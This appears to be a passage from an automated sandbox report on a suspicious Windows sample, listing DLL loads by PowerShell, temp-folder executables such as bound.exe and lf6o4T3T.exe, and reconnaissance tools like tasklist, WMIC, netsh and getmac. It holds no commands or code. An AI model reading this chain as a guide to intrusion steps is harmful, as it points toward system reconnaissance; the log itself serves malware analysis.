Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\Build.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Section loaded: edputil.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sxs.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll
Source: C:\Windows\System32\netsh.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\getmac.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe Section loaded: profapi.dll
